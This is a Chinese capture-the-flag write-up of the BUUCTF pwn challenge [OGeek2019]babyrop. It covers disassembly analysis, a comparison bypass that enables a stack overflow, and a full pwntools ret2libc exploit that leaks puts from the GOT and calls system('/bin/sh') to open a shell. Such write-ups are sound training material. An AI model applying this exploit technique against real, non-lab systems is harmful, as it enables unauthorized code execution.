[BUUCTF-OGeek2019]babyrop详解(包含思考过程)
一、题目来源
BUUCTF-Pwn-[OGeek2019]babyrop

二、创建环境&信息搜集
为了保持与远程服务器运行环境一致,我做了以下三件事情:
- 创建了test目录(命令
mkdir test
) - 将题目给的可执行文件与官方指定的libc.so文件(BUUCTF-链接-资源)都放入test目录
- 在test目录下使用命令
pwninit
做完上述步骤后,我的test目录下有文件:
大家如果有低版本的Ubuntu虚拟机可以忽略上面的步骤
如果大家和我一样用的高版本的Ubuntu,可以根据上述步骤创建与服务器端一样的运行环境来保证我们Poc的准确性(会涉及到pwninit库,对这个不熟悉的可以看附录)
下面开始信息搜集
通过file命令查看文件类型:
通过checksec命令查看文件采用的保护机制:
三、反汇编文件开始分析
将可执行文件丢入32位的IDA Pro中开始反汇编操作
首先看到main函数,下面是其汇编代码:
.text:08048825 main proc near ; DATA XREF: start+17↑o
.text:08048825
.text:08048825 buf = dword ptr -14h
.text:08048825 var_D = byte ptr -0Dh
.text:08048825 fd = dword ptr -0Ch
.text:08048825 var_4 = dword ptr -4
.text:08048825
.text:08048825 ; __unwind {
.text:08048825 lea ecx, [esp+4]
.text:08048829 and esp, 0FFFFFFF0h
.text:0804882C push dword ptr [ecx-4]
.text:0804882F push ebp
.text:08048830 mov ebp, esp
.text:08048832 push ecx
.text:08048833 sub esp, 14h
.text:08048836 call sub_80486BB
.text:0804883B sub esp, 8
.text:0804883E push 0 ; oflag
.text:08048840 push offset file ; "/dev/urandom"
.text:08048845 call open
.text:0804884A add esp, 10h
.text:0804884D mov [ebp+fd], eax
.text:08048850 cmp [ebp+fd], 0
.text:08048854 jle short loc_804886A
.text:08048856 sub esp, 4
.text:08048859 push 4 ; nbytes
.text:0804885B lea eax, [ebp+buf]
.text:0804885E push eax ; buf
.text:0804885F push [ebp+fd] ; fd
.text:08048862 call read
.text:08048867 add esp, 10h
.text:0804886A
.text:0804886A loc_804886A: ; CODE XREF: main+2F↑j
.text:0804886A mov eax, [ebp+buf]
.text:0804886D sub esp, 0Ch
.text:08048870 push eax
.text:08048871 call sub_804871F
.text:08048876 add esp, 10h
.text:08048879 mov [ebp+var_D], al
.text:0804887C movsx eax, [ebp+var_D]
.text:08048880 sub esp, 0Ch
.text:08048883 push eax
.text:08048884 call sub_80487D0
.text:08048889 add esp, 10h
.text:0804888C mov eax, 0
.text:08048891 mov ecx, [ebp+var_4]
.text:08048894 leave
.text:08048895 lea esp, [ecx-4]
.text:08048898 retn
.text:08048898 ; } // starts at 8048825
.text:08048898 main endp
简单来说,就是先通过open打开一个文件,然后获取该文件的标识符fd作为read的第一个参数,接着read会读取4字节的数据到[ebp+buf]的位置,read完成之后又会将[ebp+buf]中的信息放入eax中,之后压入栈中作为sub_804871F函数的一个参数
跟进sub_804871F函数查看其逻辑,下面是其汇编代码:
.text:0804871F sub_804871F proc near ; CODE XREF: main+4C↓p
.text:0804871F
.text:0804871F s = byte ptr -4Ch
.text:0804871F buf = byte ptr -2Ch
.text:0804871F var_25 = byte ptr -25h
.text:0804871F var_C = dword ptr -0Ch
.text:0804871F arg_0 = dword ptr 8
.text:0804871F
.text:0804871F ; __unwind {
.text:0804871F push ebp
.text:08048720 mov ebp, esp
.text:08048722 sub esp, 58h
.text:08048725 sub esp, 4
.text:08048728 push 20h ; n
.text:0804872A push 0 ; c
.text:0804872C lea eax, [ebp+s]
.text:0804872F push eax ; s
.text:08048730 call memset
.text:08048735 add esp, 10h
.text:08048738 sub esp, 4
.text:0804873B push 20h ; n
.text:0804873D push 0 ; c
.text:0804873F lea eax, [ebp+buf]
.text:08048742 push eax ; s
.text:08048743 call memset
.text:08048748 add esp, 10h
.text:0804874B sub esp, 4
.text:0804874E push [ebp+arg_0]
.text:08048751 push offset format ; "%ld"
.text:08048756 lea eax, [ebp+s]
.text:08048759 push eax ; s
.text:0804875A call sprintf
.text:0804875F add esp, 10h
.text:08048762 sub esp, 4
.text:08048765 push 20h ; nbytes
.text:08048767 lea eax, [ebp+buf]
.text:0804876A push eax ; buf
.text:0804876B push 0 ; fd
.text:0804876D call read
.text:08048772 add esp, 10h
.text:08048775 mov [ebp+var_C], eax
.text:08048778 mov eax, [ebp+var_C]
.text:0804877B sub eax, 1
.text:0804877E mov [ebp+eax+buf], 0
.text:08048783 sub esp, 0Ch
.text:08048786 lea eax, [ebp+buf]
.text:08048789 push eax ; s
.text:0804878A call strlen
.text:0804878F add esp, 10h
.text:08048792 sub esp, 4
.text:08048795 push eax ; n
.text:08048796 lea eax, [ebp+s]
.text:08048799 push eax ; s2
.text:0804879A lea eax, [ebp+buf]
.text:0804879D push eax ; s1
.text:0804879E call strncmp
.text:080487A3 add esp, 10h
.text:080487A6 test eax, eax
.text:080487A8 jnz short loc_80487C4
.text:080487AA sub esp, 4
.text:080487AD push 8 ; n
.text:080487AF push offset aCorrect ; "Correct\n"
.text:080487B4 push 1 ; fd
.text:080487B6 call write
.text:080487BB add esp, 10h
.text:080487BE movzx eax, [ebp+var_25]
.text:080487C2 jmp short locret_80487CE
.text:080487C4 ; ---------------------------------------------------------------------------
.text:080487C4
.text:080487C4 loc_80487C4: ; CODE XREF: sub_804871F+89↑j
.text:080487C4 sub esp, 0Ch
.text:080487C7 push 0 ; status
.text:080487C9 call exit
.text:080487CE ; ---------------------------------------------------------------------------
.text:080487CE
.text:080487CE locret_80487CE: ; CODE XREF: sub_804871F+A3↑j
.text:080487CE leave
.text:080487CF retn
.text:080487CF ; } // starts at 804871F
.text:080487CF sub_804871F endp
我们刚刚传进来的参数就是这里的[ebp+arg_0],这个数又作为了sprintf的参数
这个参数会以格式控制符%ld的形式被写入[ebp+s]当中
接下来就是一个read函数,接受我们的输入写到位置[ebp+buf]
关键的就是下面这个比较strcmp
他会将[ebp+s]中的字符串与[ebp+buf]中的字符串进行比较,如果一致则执行到:
sub esp, 4
push 8 ; n
push offset aCorrect ; "Correct\n"
push 1 ; fd
call write
add esp, 10h
movzx eax, [ebp+var_25]
jmp short locret_80487CE
不一致则执行到:
loc_80487C4:
sub esp, 0Ch
push 0 ; status
call exit
Correct是题者的提示,而且我们也不希望此时程序就exit退出了(因为目前没有看到任何能pwn掉程序的特征)
因此,我们要做的就是让之前open-read读出来的4字节数据与我们后续输入的信息一致,就可以让程序“鼓励”我们(输出Correct,虽然我们目前不知道走这条路是为什么)接着程序继续
这个值我们通过静态分析是分析不出来的,我们需要通过动态分析来确定该值
这个我们放到后面讲,我们先将程序看完
接下来回到main函数,开始调用sub_80487D0函数了
其汇编代码:
text:080487D0 sub_80487D0 proc near ; CODE XREF: main+5F↓p
.text:080487D0
.text:080487D0 var_EC = byte ptr -0ECh
.text:080487D0 buf = byte ptr -0E7h
.text:080487D0 arg_0 = dword ptr 8
.text:080487D0
.text:080487D0 ; __unwind {
.text:080487D0 push ebp
.text:080487D1 mov ebp, esp
.text:080487D3 sub esp, 0F8h
.text:080487D9 mov eax, [ebp+arg_0]
.text:080487DC mov [ebp+var_EC], al
.text:080487E2 cmp [ebp+var_EC], 7Fh
.text:080487E9 jz short loc_8048809
.text:080487EB movsx eax, [ebp+var_EC]
.text:080487F2 sub esp, 4
.text:080487F5 push eax ; nbytes
.text:080487F6 lea eax, [ebp+buf]
.text:080487FC push eax ; buf
.text:080487FD push 0 ; fd
.text:080487FF call read
.text:08048804 add esp, 10h
.text:08048807 jmp short loc_8048822
.text:08048809 ; ---------------------------------------------------------------------------
.text:08048809
.text:08048809 loc_8048809: ; CODE XREF: sub_80487D0+19↑j
.text:08048809 sub esp, 4
.text:0804880C push 0C8h ; nbytes
.text:08048811 lea eax, [ebp+buf]
.text:08048817 push eax ; buf
.text:08048818 push 0 ; fd
.text:0804881A call read
.text:0804881F add esp, 10h
.text:08048822
.text:08048822 loc_8048822: ; CODE XREF: sub_80487D0+37↑j
.text:08048822 nop
.text:08048823 leave
.text:08048824 retn
.text:08048824 ; } // starts at 80487D0
.text:08048824 sub_80487D0 endp
很明显,给了我们两个选择
当然,小孩子才做选择我们全都要
咳咳,我们必然是选择左边的,因为右边的n参数限制了我们栈溢出的步伐,左边的n参数是由[ebp+var_EC]决定的,有一定操作的可能
但是默认是走右边的道路,我们要让他实现走左边
条件很简单:
cmp [ebp+var_EC], 7Fh
jz short loc_8048809
让[ebp+var_EC]的值不等于7F即可,那么[ebp+var_EC]的值来自哪?
mov eax, [ebp+arg_0]
mov [ebp+var_EC], al
来自[ebp+arg_0]的最低8位(1字节), [ebp+arg_0]这个数又是哪来的呢?
不难看出他是作为sub_80487D0的参数传进来的,那么回到main函数去找
mov [ebp+var_D], al
movsx eax, [ebp+var_D]
sub esp, 0Ch
push eax
call sub_80487D0
很明显,该值来自于al(eax的最低8位),eax用来存放上一个函数的返回值的
那么我们再回到上一个函数,看一下返回值是什么:
movzx eax, [ebp+var_25]
返回值是[ebp+var_25]中的数据,这个数据在该函数中并没有被赋值(动态调试的过程也能看到该值默认为0)
综上:我们输入的长度被[ebp+var_25]的第8位控制
因此,我们现在要做的事情就是找到方法给[ebp+var_25]赋值
很容易想到,该函数中存在一个read函数,虽然该函数够不着“返回地址”,但是够着[ebp+var_25]还是绰绰有余的
思路确定了,接下来就可以开始动态调试+Poc构造了
四、动态调试
先要找到“钥匙”,即让其输出Correct
使用gdb进行动态调试
断点的位置在sprintf后一条指令,因为我们的目的是看到经过sprintf后[ebp+s]中的值是什么
这里有点奇怪,按道理说,sprintf会将结果写入[ebp+s]的位置,但是该位置查看后是一个奇怪的数字
相反,在eax中却正常存储了结果0xa也就是字符“\n”(我知道其是正确的结果是因为我直接去尝试输入回车,结果出现Correct)
这可能有点奇怪吧……或者是我没理解到位,但是不影响我们做题,继续!
既然分析出“钥匙”是换行符,那么我们可以先去验证一下
直接按回车键就出现“Correct”
但是为什么没让我们继续输入呢?
我上面其实就提到过,返回值默认为0,即让我们输入0字节的数据,那可不就是不让你输入嘛
大家感兴趣的可以去看看[ebp+var_25]的默认值(我测试出来是1)
这里不再演示了,因为和解题关系不大
接下来我们就可以构造Poc了
五、Poc构造
本题采用的是ret2libc的思路
#!/usr/bin/env python3from pwn import *exe = ELF("./pwn_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")context.binary = exe
context(arch="i386",os="linux",log_level="debug",binary="./pwn_patched")def conn():if args.LOCAL:r = process([exe.path])else:r = remote("node5.buuoj.cn",27549)return rdef main():r = conn()# gdb_script = '''# b *0x08048772# c# '''# gdb.attach(r,gdbscript = gdb_script)payload = b'\x00\x00\x00\n' + b'A'*3 + p32(0xff) + b'\x00'r.send(payload)# pause()padding = 0xE7+4puts_got = exe.got["puts"]puts_plt = exe.plt["puts"]main_addr = 0x08048825payload = b'A'*padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)r.send(payload)r.recvuntil(b'Correct\n')leak = u32(r.recvline()[:-1])print(hex(leak))payload = b'\x00\x00\x00\n' + b'A'*3 + p32(0xff) + b'\x00'r.send(payload)libc_base = leak - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) payload = b'A'*padding + p32(system) + p32(main_addr) + p32(binsh)r.send(payload)r.interactive()if __name__ == "__main__":main()
不是使用pwninit的朋友,只需要看main函数中的代码
知道“钥匙”后,后续就是简单的泄露->ret2libc
我觉得唯一要提醒的就是[ebp+var_25]的值只有第1字节有效,因此最大就是0xff,不要像我一开始一样搞了个0x100上去,结果别人一截取(al),就变成0x00了,等于没赋值(尴尬……)
上述Poc的运行结果:
成功拿下本地shell!
远程只需要修改Poc中对应的部分即可
六、附录
1、pwninit的下载
通用的下载做法:
# 安装 patchelf
sudo apt update
sudo apt install patchelf# 安装 pwninit (pwntools的配套工具)
pip install pwninit
但是,通过pip安装的pwninit的版本是系统默认的(通常版本会比较低,如果你的python版本过高会导致pwninit使用失败)
我们可以先卸载低版本的pwninit
pip uninstall pwninit
然后直接去github上下载最新版本,地址:
https://github.com/io12/pwninit/releases
我们下载下来的是一个ELF文件,我们通过命令:
chmod +x pwninit
给他赋予执行权限
为了后续执行方便,我们将其放入环境变量当中
sudo mv ./pwninit /usr/local/bin/
# 注意选择你自己的环境变量地址
验证:
pwninit --version
如果出现版本信息,即安装成功!
2、pwninit的使用
-
步骤一,创建pwn题目目录:
-
mkdir test
-
cd test
-
-
步骤二(可选,但是推荐),在该目录中放入题目给的libc文件
-
步骤三,运行命令pwninit:
-
运行命令
pwninit
-
pwninit
会自动完成以下事情:-
分析pwn文件,找到它需要的libc版本,并下载到当前目录;若步骤二你已经在文件目录下放入了ibc文件则会使用你放入的文件
-
使用
patchelf
创建一个pwn_patched文件(这个文件就是被修改过加载路径的新程序,后续都用这个文件) -
生成一个solve.py的模板,里面已经帮你写好了加载pwn_patched和对应libc的代码
-
-
solve.py模板文件的格式大致是这样的:
from pwn import *exe = ELF("./pwn_patched")context.binary = exedef conn():if args.LOCAL:r = process([exe.path])if args.DEBUG:gdb.attach(r)else:r = remote("addr", 1337)return rdef main():r = conn()# 像往常一样在这里构造你的代码即可r.interactive()if __name__ == "__main__":main()
如果是本地执行,则使用命令:
python solve.py LOCAL
如果是远程执行,则使用命令:
python solve.py
# 注意先修改solve.py中的域名与端口